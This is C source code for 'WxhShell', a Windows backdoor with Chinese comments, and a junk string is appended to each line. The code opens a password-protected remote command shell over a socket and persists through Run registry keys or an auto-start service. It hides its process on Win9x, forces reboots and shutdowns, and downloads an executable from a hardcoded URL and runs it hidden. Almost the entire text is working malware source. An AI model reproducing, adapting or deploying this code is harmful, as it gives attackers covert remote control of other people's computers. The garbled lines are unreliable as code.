    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xz3|m _)  
    if(Boot(SHUTDOWN)) H:]'r5sw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fb?YDM  
    else { >)6k)$x%%  
    closesocket(wsh); !EOYqD  
    ExitThread(0); JmF:8Q3H  
    } ]/[$3rPwZ  
    break; wo5fGQJ  
    } *('Vyd!n  
  // 获取shell P2g}G4qf  
  case 's': { nO `R++  
    CmdShell(wsh); SQ-CdpT<  
    closesocket(wsh); =4#p|OZP  
    ExitThread(0); #tN!^LLi  
    break; 8;$zD]{D1  
  } B\\M%!a>  
  // 退出 O&evv8 6L  
  case 'x': { SYA0Hiw7P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1T0s UIY  
    CloseIt(wsh); q);@iiJ-  
    break; cCv@f ks  
    } u[6aSqwC |  
  // 离开 *?YMoN  
  case 'q': { 1eOQ;#OV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S7(tGD  
    closesocket(wsh); >)bn #5  
    WSACleanup(); Xq%ijo  
    exit(1); "@UyUL  
    break; Dd'J"|jF38  
        } pcNpr`  
  } >l^[73,]L  
  } &0RKNpw g  
'J8Ga<s7C  
  // 提示信息 n8Rsle`a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `%_(_%K  
} h~5gHx/ a  
  } r1[#_A`Yn  
!|~yf3  
  return; A`nzqe#(1  
} 46D _K  
=)f5JwZPG  
// shell模块句柄 #Q/xQ`+|.  
int CmdShell(SOCKET sock) yX%NFXD  
{ Oid;s!-S6  
STARTUPINFO si; O #5`mo  
ZeroMemory(&si,sizeof(si)); /)<Xoa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~(}n d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G]T&{3g-.  
PROCESS_INFORMATION ProcessInfo; l*b0uF  
char cmdline[]="cmd"; @me ( pnD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q0KGI/5s4+  
  return 0; bKQ_{cR  
} {w mP  
& Tkl-{I  
// 自身启动模式 u-R;rf5%k  
int StartFromService(void) 6ag0c&k  
{ ~\u~>mtchu  
typedef struct 9#1Jie$  
{ G8lTIs4u;  
  DWORD ExitStatus; =8A L>:_  
  DWORD PebBaseAddress; :'Tq5kE  
  DWORD AffinityMask; R= .UbY  
  DWORD BasePriority; %afz{a5  
  ULONG UniqueProcessId; )j}v3@EM5  
  ULONG InheritedFromUniqueProcessId; 8TCbEPS@Q  
}   PROCESS_BASIC_INFORMATION; ZM_-g4[H  
FDTC?Ii O  
PROCNTQSIP NtQueryInformationProcess; $k^& X `  
?OC&=}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d RHw]!.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mw*KLMo42  
?i$MinK  
  HANDLE             hProcess; JfzfxfM  
  PROCESS_BASIC_INFORMATION pbi; $KPf[JvQ  
+r$VrNVs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /2Bf6  
  if(NULL == hInst ) return 0; [ Q[ac 6f  
D 4<,YBvV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9s#*~[E*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ggUw4w/e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w_*$w Vl  
&{S@v9~IT  
  if (!NtQueryInformationProcess) return 0; b q8nV  
EO\- J-nM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); & sgzSX  
  if(!hProcess) return 0; QJ,~K&?  
U]"6KS   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RY]jY | E  
q U^`fIa  
  CloseHandle(hProcess); ' pfkbmJ  
},,K6*P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Uqcym.  
if(hProcess==NULL) return 0; 7W=s.Gy7G\  
.e|\Bf0P  
HMODULE hMod; UQq Qim  
char procName[255];  )OZ  
unsigned long cbNeeded; >+Y@rj2  
m">2XGCn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i)@H  
`Gh#2 U  
  CloseHandle(hProcess); ,p6o "-  
/e7BW0$1  
if(strstr(procName,"services")) return 1; // 以服务启动 6f&qtJQ<A  
 \1?:  
  return 0; // 注册表启动 ?{r-z3@ N  
} 5$c*r$t_RK  
4)d"}j  
// 主模块 +krDmU9(  
int StartWxhshell(LPSTR lpCmdLine) [N0"mE<  
{ (4IH%Ez){  
  SOCKET wsl; A5,(P$@ k  
BOOL val=TRUE; s[}cj+0  
  int port=0; afye$$X  
  struct sockaddr_in door; ( \7Yo^  
B dxV [SF  
  if(wscfg.ws_autoins) Install(); DS=Dg@y  
M+WN\.2pX  
port=atoi(lpCmdLine); c> ":g~w  
% {A%SDh  
if(port<=0) port=wscfg.ws_port; Q6d>tqWhq  
?, cI!c`  
  WSADATA data; p;)@R$*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VTn6@z_ x  
9C: V i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j!K{1s[.y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EB8<!c ?  
  door.sin_family = AF_INET; ~Z5Wwp]a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *P+8^t#Vp  
  door.sin_port = htons(port); te&p1F  
3H`ES_JL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .|GnTC q  
closesocket(wsl); uk)D2.eS,  
return 1; a t%qowt  
} }kMKA.O"  
0f"la=6  
  if(listen(wsl,2) == INVALID_SOCKET) { >(a[b@[K  
closesocket(wsl); 1Wz5Iv#Ez  
return 1; 9KMtPBZ  
} ]GXE2A_i;  
  Wxhshell(wsl); PGA `R  
  WSACleanup(); +g% Ah  
#fxdZm,  
return 0; i"#zb&~nF  
k];fQ7}m<0  
} (ljoD[kZ  
e4 -7&8N+  
// 以NT服务方式启动 @"0n8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fi'\{!!3m^  
{ VX e7b  
DWORD   status = 0; 92M_Z1_w[  
  DWORD   specificError = 0xfffffff; v.Xmrry  
wZ/ b;%I!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B2,JfKk/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b#:!b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /y- 8dgv0a  
  serviceStatus.dwWin32ExitCode     = 0; / a$B8,  
  serviceStatus.dwServiceSpecificExitCode = 0; qoOq47F  
  serviceStatus.dwCheckPoint       = 0; Y{ w9D`}  
  serviceStatus.dwWaitHint       = 0; lfte   
_tfi6UQ&lY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8v\^,'@  
  if (hServiceStatusHandle==0) return; /qweozW_+  
^'$P[  
status = GetLastError(); |/;X -+f8  
  if (status!=NO_ERROR) "PC9[i  
{ y@\J7 h:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2UEjn>2  
    serviceStatus.dwCheckPoint       = 0; VP:9&?>G  
    serviceStatus.dwWaitHint       = 0; [\.@,Y0j  
    serviceStatus.dwWin32ExitCode     = status; 7z3YzQ=Kg  
    serviceStatus.dwServiceSpecificExitCode = specificError; G/&Wc2k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Wc.iomx8  
    return; ?$%2\"wX~7  
  } ~s>Ud<l%r  
_+. )8   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AmBLZ<f;  
  serviceStatus.dwCheckPoint       = 0; >{k0N@_  
  serviceStatus.dwWaitHint       = 0; F"t.ND  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k4YW;6<C+  
} -qJO6OM  
Il$Jj-)  
// 处理NT服务事件,比如:启动、停止 8Oo16LPD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nH|7XY9"  
{ {'[S.r`  
switch(fdwControl) ?Z"<&tsZ  
{ X!f` !tZ:{  
case SERVICE_CONTROL_STOP: 9oxn-)6JC  
  serviceStatus.dwWin32ExitCode = 0; qp2&Z8S\D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vnnl~|Xx  
  serviceStatus.dwCheckPoint   = 0; O 718s\#  
  serviceStatus.dwWaitHint     = 0; fnn /akGKI  
  { FuFA/R=x/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9v(k<('_  
  } 01vKx)f  
  return; <6!/B[!O=  
case SERVICE_CONTROL_PAUSE: 6_O3/   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *."50o=T  
  break; F'^?s= QX  
case SERVICE_CONTROL_CONTINUE: YUQKy2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wU/BRz8I  
  break; =\i{dj  
case SERVICE_CONTROL_INTERROGATE: ~3qt<"  
  break; br4 %(w(d  
}; |Q*{yvfEo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]j2T 8_=  
} CG[04y  
T&s}~S=m  
// 标准应用程序主函数 _#T bO fu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `*--vSi  
{ I.u[9CI7HU  
NnqAr ,  
// 获取操作系统版本 &v<Am%!N  
OsIsNt=GetOsVer(); x^/453Lk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?m dGMf)  
5ii:93Hlj  
  // 从命令行安装 '*n2<y  
  if(strpbrk(lpCmdLine,"iI")) Install(); )jed@?  
3Jw}MFFV  
  // 下载执行文件 mI-9=6T_  
if(wscfg.ws_downexe) { (GbZt{.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x4;ndck%U  
  WinExec(wscfg.ws_filenam,SW_HIDE); YQ7tZl;:t  
} < /9@RO  
0i/!nke.  
if(!OsIsNt) { D:Fi/JY~  
// 如果时win9x,隐藏进程并且设置为注册表启动 e\' =#Hw  
HideProc(); ZMmf!cKY:'  
StartWxhshell(lpCmdLine); ~?uch8H  
} c^`(5}39v  
else Pze{5!  
  if(StartFromService()) `E-cf7%  
  // 以服务方式启动 0M 5m8  
  StartServiceCtrlDispatcher(DispatchTable); FmC [u  
else 0p1~!X=I  
  // 普通方式启动 Fps:6~gD  
  StartWxhshell(lpCmdLine); Q(h/C!rKe  
M 3c  
return 0; yf2$HF  
} p+; La  
QW_W5|_  
#wfb-`,5&9  
|oV_7%mlu  
=========================================== B%/N{i*Z  
@&GfCg5Cb  
29r(Y  
Wtqv  
zoHFTD4 g  
t BKra  
" %)!b254  
1eMz"@ Q9  
#include <stdio.h> s[#ww =T\  
#include <string.h> C !6d`|  
#include <windows.h> hO0g3^  
#include <winsock2.h> G~KYFNHr  
#include <winsvc.h> S F&EVRv  
#include <urlmon.h> Kzrt%DA  
)m.U"giG++  
#pragma comment (lib, "Ws2_32.lib") x$=""?dd  
#pragma comment (lib, "urlmon.lib") pDM95.6   
IJv+si:k  
#define MAX_USER   100 // 最大客户端连接数 gkL{]*9&%  
#define BUF_SOCK   200 // sock buffer -1c{Jo  
#define KEY_BUFF   255 // 输入 buffer <^fvTb&*  
I#9q^,,F  
#define REBOOT     0   // 重启 *W$bhC'w  
#define SHUTDOWN   1   // 关机 L2\NTNY  
K5EU?J&  
#define DEF_PORT   5000 // 监听端口 4$_:a?9  
G2 !J`}  
#define REG_LEN     16   // 注册表键长度 @szr '&\%A  
#define SVC_LEN     80   // NT服务名长度 &AhkP=Yw  
zHk7!|%Y  
// 从dll定义API U['|t<^uf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hLF;MH@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $W0O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ym$=^f]-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y$U(oIU>  
?"L ^ 0%  
// wxhshell配置信息  NH0uK  
struct WSCFG { ~(K{D D7[N  
  int ws_port;         // 监听端口 eGj[%pk  
  char ws_passstr[REG_LEN]; // 口令 5Za%EaW%G  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?<6yKxn  
  char ws_regname[REG_LEN]; // 注册表键名 0t(js_  
  char ws_svcname[REG_LEN]; // 服务名 R;`C;Rbf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wi@Qf6(mn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h #(J6ht  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -mY,nMDb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8KHT"uc'*J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aYws{Vii  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x f<wM]&  
sX,S]:X  
}; i16kPU  
c[X:vDUX  
// default Wxhshell configuration ,#Mt10e{  
struct WSCFG wscfg={DEF_PORT, `e^sQ>rDI  
    "xuhuanlingzhe", WWG+0jQ9  
    1, dBEm7.nh  
    "Wxhshell", 9N V.<&~  
    "Wxhshell", p d(W(-`8!  
            "WxhShell Service", %hCd*[Z}j  
    "Wrsky Windows CmdShell Service", $c}-/U 8  
    "Please Input Your Password: ", l" +q&3Zx  
  1, .T\_4C  
  "http://www.wrsky.com/wxhshell.exe", E8"$vl&c]  
  "Wxhshell.exe" L=wpZ`@ y  
    }; XN}^:j_2  
P9jPdls  
// 消息定义模块 3V%ts7:a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |VQmB/a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <P.'r,"[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U *:E|'>  
char *msg_ws_ext="\n\rExit."; ]'5 G/H5?;  
char *msg_ws_end="\n\rQuit."; =SV b k  
char *msg_ws_boot="\n\rReboot..."; %3@-. =  
char *msg_ws_poff="\n\rShutdown..."; ch]{ =61  
char *msg_ws_down="\n\rSave to "; ?,^ Aoy  
VCQo3k5 {  
char *msg_ws_err="\n\rErr!"; tQ(4UHqa~  
char *msg_ws_ok="\n\rOK!"; v:?l C<,  
ug^esB  
char ExeFile[MAX_PATH]; 6QAhVg: A  
int nUser = 0; ppzQh1  
HANDLE handles[MAX_USER]; 52t6_!y+V  
int OsIsNt; |&U{ z?  
-rlCE-S  
SERVICE_STATUS       serviceStatus; C1o^$Q|j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cG,zO-H  
r$W%d[pB  
// 函数声明 /X%+z5  
int Install(void); KvXF zx|A  
int Uninstall(void); -;*lcY*  
int DownloadFile(char *sURL, SOCKET wsh); +F+M[ef<ws  
int Boot(int flag); ,-[z?dvO  
void HideProc(void); 45;ey }8  
int GetOsVer(void); % O u'+A  
int Wxhshell(SOCKET wsl); ;Q,, i  
void TalkWithClient(void *cs); a!B"WNb+  
int CmdShell(SOCKET sock); bXk(wXX  
int StartFromService(void); Dvm[W),(k  
int StartWxhshell(LPSTR lpCmdLine); pD;fFLvN  
pv]" 2'aQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SM\qd4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i>e?$H,/  
%S/?Ci  
// 数据结构和表定义 1P?|.W_^1  
SERVICE_TABLE_ENTRY DispatchTable[] = '9!J' [W  
{ J?C:@Q  
{wscfg.ws_svcname, NTServiceMain}, u=t.1eS5  
{NULL, NULL} S?#6{rx  
}; ZlP+t>  
MI)v@_1d  
// 自我安装 LB`{35b-  
int Install(void) ^@^K <SVc  
{ `T{'ufI4B  
  char svExeFile[MAX_PATH]; hlmeT9v{  
  HKEY key; @MO/LvD  
  strcpy(svExeFile,ExeFile); ><I{R|bC  
lBGYZ--  
// 如果是win9x系统,修改注册表设为自启动 )6(|A$~C+  
if(!OsIsNt) { P1ak>T *#2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5bBCI\&sam  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yxAy1P;dX  
  RegCloseKey(key); EB VG@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f+1@mGt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QD%!a{I  
  RegCloseKey(key); q _Z+H4  
  return 0; </2 aQn  
    } O L 9(~p  
  } " =6kH,  
} )]kxLf#  
else { Whe-()pG{  
9g]%}+D  
// 如果是NT以上系统,安装为系统服务 <Xw\:5 F<7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  QJ!2Vw4K  
if (schSCManager!=0) yK-DzAv  
{  { &Vt]9  
  SC_HANDLE schService = CreateService ~;#sj&~  
  ( 1) 5$,+~lL  
  schSCManager, tAsap}(  
  wscfg.ws_svcname, N'i)s{'  
  wscfg.ws_svcdisp, S%aup(wu6  
  SERVICE_ALL_ACCESS, Ph8@V}80"Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2M=h:::W  
  SERVICE_AUTO_START, :C2 @!W z  
  SERVICE_ERROR_NORMAL, ;cB3D3fR.  
  svExeFile, SP/'4m  
  NULL, &8?O ~X=/  
  NULL, G"w [>m  
  NULL, +lb&_eD  
  NULL, kc(m.k!|f\  
  NULL hfw+n<  
  ); QiK-|hFj  
  if (schService!=0) F?[1 m2  
  { !o1IpTN  
  CloseServiceHandle(schService); 83 <CDjD  
  CloseServiceHandle(schSCManager); HQ]mDo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c0Pj})-  
  strcat(svExeFile,wscfg.ws_svcname); 05g %5vHF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sC0u4w>Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ho =vdB  
  RegCloseKey(key); fvk(eWB  
  return 0; k7j.VpN9  
    } YgdQC(ib  
  } "blq)qo)  
  CloseServiceHandle(schSCManager); 8i5S }  
} {xeJO:M3/  
} wl&T9O;?  
Qj|rNeM_  
return 1; \Y>b#*m(4  
} M\-[C!h,  
b3FKDm[  
// 自我卸载 R:$E'PSx  
int Uninstall(void) C+g}+  
{ ~(8fUob  
  HKEY key; >lKu[nq;  
8&M<?oe  
if(!OsIsNt) { E- [Eg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V:>r6  
  RegDeleteValue(key,wscfg.ws_regname); 0N~kq-6.\  
  RegCloseKey(key); ?|98Y"w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (~o"*1fk>  
  RegDeleteValue(key,wscfg.ws_regname); +80bG(I_  
  RegCloseKey(key); P;o  {t  
  return 0; JsNj!aeU%  
  } *5 .wwV  
} 1y\bJ  
} 3&CV!+z  
else { OTE,OCB[  
:P/VBXh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :9av]Yv&  
if (schSCManager!=0) cc3B}^@p=  
{ ]A5Y/dd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >KL=(3:":p  
  if (schService!=0) Hqs!L`oW)  
  { 9cHo~F|ur  
  if(DeleteService(schService)!=0) { Rk7F;2  
  CloseServiceHandle(schService); K1^7v}P  
  CloseServiceHandle(schSCManager); w^Yo)"6  
  return 0; }X?#"JFX?  
  } lg8@^Pm$r;  
  CloseServiceHandle(schService); ~ \<$H'  
  } _cE_\Ay  
  CloseServiceHandle(schSCManager); KE ?NQMU  
} G%FZTA6a  
} !#:5^":;  
`g3AM%3  
return 1; #-@Uq6Y  
} DH%PkGn  
]WYV  
// 从指定url下载文件 `FQ]ad Fz  
int DownloadFile(char *sURL, SOCKET wsh) >~nr,V.q  
{ yvj/u c  
  HRESULT hr; <g%A2 lI  
char seps[]= "/"; Ln2FG4{  
char *token; 5!fOc]]Ow  
char *file; r5N TTc  
char myURL[MAX_PATH]; &R?`QB2/  
char myFILE[MAX_PATH]; l cHf\~  
m$=}nI(H  
strcpy(myURL,sURL); >mX6;6FF  
  token=strtok(myURL,seps);  5{oc  
  while(token!=NULL) }oA>0Nw$K  
  { JRw,${W  
    file=token; KILX?Pt[7  
  token=strtok(NULL,seps); U 7.kYu  
  } tE_n>~Zs  
; cvMNU$fN  
GetCurrentDirectory(MAX_PATH,myFILE); >5#}/G&  
strcat(myFILE, "\\"); bj}Lxc],  
strcat(myFILE, file); RrvC}9ar  
  send(wsh,myFILE,strlen(myFILE),0); IHdA2d?.]  
send(wsh,"...",3,0); ,|s*g'u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bsDA&~)s  
  if(hr==S_OK) ((+XzV>  
return 0; r'jUB^E  
else &>C+5`bg  
return 1; tp}/>gU!  
cI'n[G  
} xi(1H1KN5B  
'fl< ac,.  
// 系统电源模块 9D+k71"+  
int Boot(int flag) OPDT:e86Y=  
{ zmGHI! tP  
  HANDLE hToken; +T@BOYhgq  
  TOKEN_PRIVILEGES tkp; Hp04apM:  
s$isDG#Sr  
  if(OsIsNt) { lUB?eQuN_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &`@YdZtd"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D\&S {  
    tkp.PrivilegeCount = 1; 84.L1|k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y4 HN1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #WSqh +  
if(flag==REBOOT) { %]&$VVVh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;W|NG3_y  
  return 0; OU/}cu  
} Lm~<BBp.  
else { ;7qIm83  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 38p"lT  
  return 0; G9^`cTvv'8  
} A6]X aF  
  } M,_ $s,  
  else { G |KA!q  
if(flag==REBOOT) { Z8ea)_ {#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G|f9l?p  
  return 0; cVW7I  
} BYXc 'K  
else { Zh;wQCDj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }W8A1-UF  
  return 0; B6 (\1  
} 0>Snps3*Z  
} .)b<cH~%  
(cOe*>L;  
return 1; [oV M9 Q  
} Pd~=:4  
zp;!HP;/=  
// win9x进程隐藏模块 +FqD.=8  
void HideProc(void) >-I <`y-H  
{ 4T(d9y  
O*l,&5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 63Zu5b"O/  
  if ( hKernel != NULL ) H]R/=OYBUh  
  { GNMOHqg4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [w'Q9\,p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rgzra"u)  
    FreeLibrary(hKernel); NplyvjQN;  
  } &M}X$k I  
?'TK~,dG/  
return; isL zgN%  
} q7Hf7^a  
HK/WO jr  
// 获取操作系统版本 1v]%FC`  
int GetOsVer(void) 49Jnp>h  
{ = 0d|F 8  
  OSVERSIONINFO winfo; 8l5>t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9y*] {IY  
  GetVersionEx(&winfo); dYrgL3'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ud `- w  
  return 1; z;>$["t]6  
  else C*b[J  
  return 0; *uyP+f2O  
} X6G{.Vh"  
]qT&6:;-]  
// 客户端句柄模块 U<w8jVE  
int Wxhshell(SOCKET wsl) HKrENk  
{ s;9Du|0f^  
  SOCKET wsh; =4eJ@EVM  
  struct sockaddr_in client; 6P{^j  
  DWORD myID; !l0]IX` F  
E)$>t}$  
  while(nUser<MAX_USER) *I(6hB  
{ Mqd'XU0L  
  int nSize=sizeof(client); />S^`KSTM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -j3Lgm  
  if(wsh==INVALID_SOCKET) return 1; CK7([>2  
xUdGSr50  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0qJ (RB  
if(handles[nUser]==0) :>fT=$i@  
  closesocket(wsh); OKMdyyO<l  
else sr6 BC.  
  nUser++; {h+8^   
  } Wn=sF,c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c9-$^yno  
<l5i%?  
  return 0; =tP9n;D  
} FYYc+6n  
T%eBgseS  
// 关闭 socket JI-i7P  
void CloseIt(SOCKET wsh) fwz:k]vk  
{ G{} 2"/   
closesocket(wsh); bXnUz?1!d  
nUser--; Z&n[6aV'F  
ExitThread(0); (&e!u{I  
} ki'$P.v{$w  
fIoc)T  
// 客户端请求句柄 4$KDf;m@  
void TalkWithClient(void *cs) tS2 &S 6u  
{ (kLaXayn  
@-)?uYw:r  
  SOCKET wsh=(SOCKET)cs; UN.;w3`Oc  
  char pwd[SVC_LEN]; {1Ra |,;  
  char cmd[KEY_BUFF]; (+|+ELfqW  
char chr[1]; ?@G s7'  
int i,j;  8${n}}  
;-Yvi,sS+  
  while (nUser < MAX_USER) { P5<9;PPbZ  
s=n4'`y1  
if(wscfg.ws_passstr) { ^w^e~0 S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <!sLf z?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Ul3J )=m  
  //ZeroMemory(pwd,KEY_BUFF); MQ!4"E5"j  
      i=0; epiviCYC  
  while(i<SVC_LEN) { 05LkLB  
n= <c_a)Nb  
  // 设置超时 K<J,n!zc  
  fd_set FdRead; #BLHHK/[  
  struct timeval TimeOut; AZ3T#f![L@  
  FD_ZERO(&FdRead); .|O T#"LP  
  FD_SET(wsh,&FdRead); '8;bc@cE  
  TimeOut.tv_sec=8; xvOz*vM?  
  TimeOut.tv_usec=0; ))=6g@(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;gZ ^c]\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vkE`T5??  
d~u=,@FK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i&:SWH=  
  pwd=chr[0]; 0*XsAz1,9  
  if(chr[0]==0xd || chr[0]==0xa) { "'z}oS  
  pwd=0; Fe0M2%e;|  
  break; *-9i<@|(U^  
  } OvX&5Q5  
  i++; {nKw<F2  
    } :|W=2( >  
UT\4Xk<  
  // 如果是非法用户,关闭 socket M1/d7d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0&,D&y%  
} t.9s49P  
n2mO-ZXud  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H4y9\ -  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^N/d`IAjv  
r ]7: ?ir  
while(1) { wo0j/4o  
O^MI073Q>t  
  ZeroMemory(cmd,KEY_BUFF); \t!~s^Oox  
,JZ>)(@)  
      // 自动支持客户端 telnet标准   7%  D4  
  j=0; rE m/Q!  
  while(j<KEY_BUFF) { oy8jc];SO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `> %QCc\  
  cmd[j]=chr[0]; gE6'A  
  if(chr[0]==0xa || chr[0]==0xd) { A r!0GwE+  
  cmd[j]=0; r'*$'QY-N  
  break; w7@`:W  
  } N#ggT9>X  
  j++; F LWVI4*  
    } gQPw+0w  
QJ XP -  
  // 下载文件 9 -pt}U  
  if(strstr(cmd,"http://")) { %aNm j)L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Z%=lwtX  
  if(DownloadFile(cmd,wsh)) ,\6Vb*G|E>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 712nD ?>  
  else P2'N4?2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M@xU59$@  
